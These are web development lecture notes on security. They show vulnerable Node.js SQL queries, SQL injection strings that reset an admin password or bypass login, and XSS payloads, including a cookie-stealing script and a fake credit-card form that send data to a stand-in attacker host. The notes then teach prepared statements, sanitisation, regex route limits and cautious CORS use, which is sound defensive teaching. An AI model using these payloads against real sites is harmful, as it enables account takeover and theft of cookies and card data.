In this lecture we will look at security issues, including:
Note that the lecture will be accompanied by live examples, demonstrating the exploits - so you should make every effort to either attend the lecture live or watch the recording later. If you read the notes alone, you will get less value from this topic.
// ... connect to database ... const stmt = db.prepare(`select * from details where name='${req.params.name}'`);
Fred'; UPDATE users SET password='cracked' WHERE username='adminthe query generated would be:
SELECT * FROM details WHERE name='Fred'; UPDATE users SET password='cracked' WHERE username='admin'with potentially devastating results!!!
const stmt = db.prepare(`SELECT * FROM users where password='${req.body.password}' AND username='${req.body.username}'`); const results = stmt.run(); html = ""; results.forEach ( result => { html += `Credit card: ${result.creditcard} Expiry date: ${result.expiry}<br />`; }); res.send(html);
Username: fish' OR '1=1 Password: password
SELECT * FROM users WHERE password='password' AND username='fish' OR '1=1'
We have in fact been writing our code in a manner to prevent SQL injection all along. If you look at the code above, you will see it is unlike the code we've been developing so far. We've been using prepared statements with placeholders, which prevents SQL injection occurring.
With prepared statements, the SQL statements are compiled (prepared) into a binary form, which is executed more rapidly by the database, and this binary form is cached and thus can then be re-used, improving the efficiency of your application. The placeholders (?
) are replaced by the specified input parameters, and this method is not vulnerable to SQL injection.
<form method="post" action="https://hittastic.example.com/buy" /> <input type="hidden" name="id" value="1<script>alert('666 I am evil')</script>" /> <input type="submit" value="Buy From Hittastic!"/> </form>
res.send(`You have selected the CD with ID ${req.body.id}`);then the script would unwittingly send to the browser the <script> tag stored in the form's hidden field, as it is part of the POST parameter
req.body.id
(which corresponds to the <input> field with a name
of id
, i.e. the hidden field). So. it would send
You have selected the CD with ID 1<script>alert('666 I am evil')</script>
A more dangerous example (included in the live demo during the lecture) is injection of a fake HTML form into the genuine site, so that a <form> tag is used in the attack rather than a <script> tag. In this form of attack, the user will be fooled into thinking that the form is provided by the genuine site, and might then enter their credit card details... which will be sent straight back to the attacker!
For example:
<input type="hidden" name="id" value="17<form action=http://evilcrackers.example.com/steal>Input credit card: <input name=creditcard /></form>" />
This is an even more dangerous XSS attack, involving embedded JavaScript within the links, which could steal user's cookies, including potentially, session cookies. For example the hidden field could contain this:
<input type="hidden" name="id" value="123<script>window.location='http://evilcrackers.example.com/stealcookie/' + document.cookie</script>" />
evilcrackers.example.com/stealcookie
and sends user's cookies (accessible in JavaScript using document.cookie
) to this URL
evilcrackers.example.com
evilcrackers.example.com/stealcookie
will then have the session ID and can impersonate the original user by copying the session ID to their own cookies; the genuine website will then think they are the attacked userevilcrackers.example.com
are really nasty, they could then redirect
the user straight back to HitTastic!, so the user will be unaware of the
entire process%3Cscript%3Ealert%28666%29%3C%2Fscript%3E
<script>alert(666)</script>meaning the attack still takes place
Node makes it easy to guard against XSS attacks using the xss
module. With this, you can sanitise any input before it's output again. This invoves replacing characters with special meaning to HTML, such as < and > with their HTML entities, such as < and >. The attack relies on the browser receiving HTML tags in the response, so if these are sanitised, the browser will not interpret them as tags and the attack cannot take place. For example:
import xss from 'xss'; import express from 'express'; const app = express(); app.get('/', (req, res) => { const sanitised = xss("<script>alert('666 I am evil!');</script>"); res.send(sanitised); }); app.listen(3000);If the XSS sanitisation had not occurred, then the HTML
<script>alert('666 I am evil!');</script>would be sent back to the client, and the browser would execute the JavaScript inside the script tags. However with the use of the
xss
module, the browser receives instead:
<script>alert('666 I am evil!');</script>and the browser will not interpret <script> as a script tag, so the attack will not take place.
It's also of note that if you use EJS, this sanitisation takes place automatically when you render (without the need for the xss
module), as long as you use <%= rather than <%- to render data.
Another way of guarding against XSS attacks is to restrict the characters allowed in a route. This can be done through the use of regular expressions. Regular expressions are a special syntax which are used to detect certain patterns in text (e.g. numbers, letters, or a mix of numbers and letters). For example:
app.post('/song/buy/:ID(\\d+)', (req, res) ...The
\\d+
is a regular expression specifying one or more digits, so if the ID contains anything other than digits it will not match the route.
^[0123456789]+$This regular expression will match one or more digits 0 to 9 in an input string
^[0-9]+$
^[0-9A-Za-z]+$
^[0-9A-Za-z_]+$
^\w\w\w\w\w\s\w\w\w\w\w$
^\w{5}\s\w{5}$
^\w+\s\w+$
See the documentation for more information on using regular expressions in routes.
Imagine an XSS attack that takes place over AJAX, in other words a phishing site includes an AJAX-based form to access a legitimate site. Due to the same-origin policy, this would not be allowed by default. For example if evilcrackers.example.com
included AJAX forms on their phishing site and tried to send an AJAX request to hittastic.example.com
, it would be blocked because the request is from a different server. This is the basis of the same-origin policy and illustrates why it is applied by default, to reduce the risk of XSS and other similar attacks.
This is why you need to be careful when using CORS, which if you remember, is a way of circumventing the same-origin policy. You should generally avoid opening up all routes of your application to all clients, as it would then make your site vulnerable to AJAX-based XSS attacks. Instead, only open up low-risk endpoints, such as those which do not change any data and do not reveal confidential information. Also, you should explicitly specify the list of allowed clients with CORS if you are concerned about XSS, rather than the wildcard *
which allows any client to connect.
I would like to finish with a few recommendations when developing web applications, to take into account security, privacy and usability. These include:
bcrypt
module for this as we saw in the sessions topic.The source code for the live examples can be found on GitHub. Note that the phishing site uses port 3001, rather than port 3000 - to highlight the fact that it is an entirely separate site.
You should clone the repository:
git clone https://github.com/nwcourses/SecurityDemoand then install the dependencies with
npm installThere are two servers, as described on the GitHub page; foloow the instructions there.
We will then try out an SQL injection attack and XSS attack, and then modify the code to prevent them happening.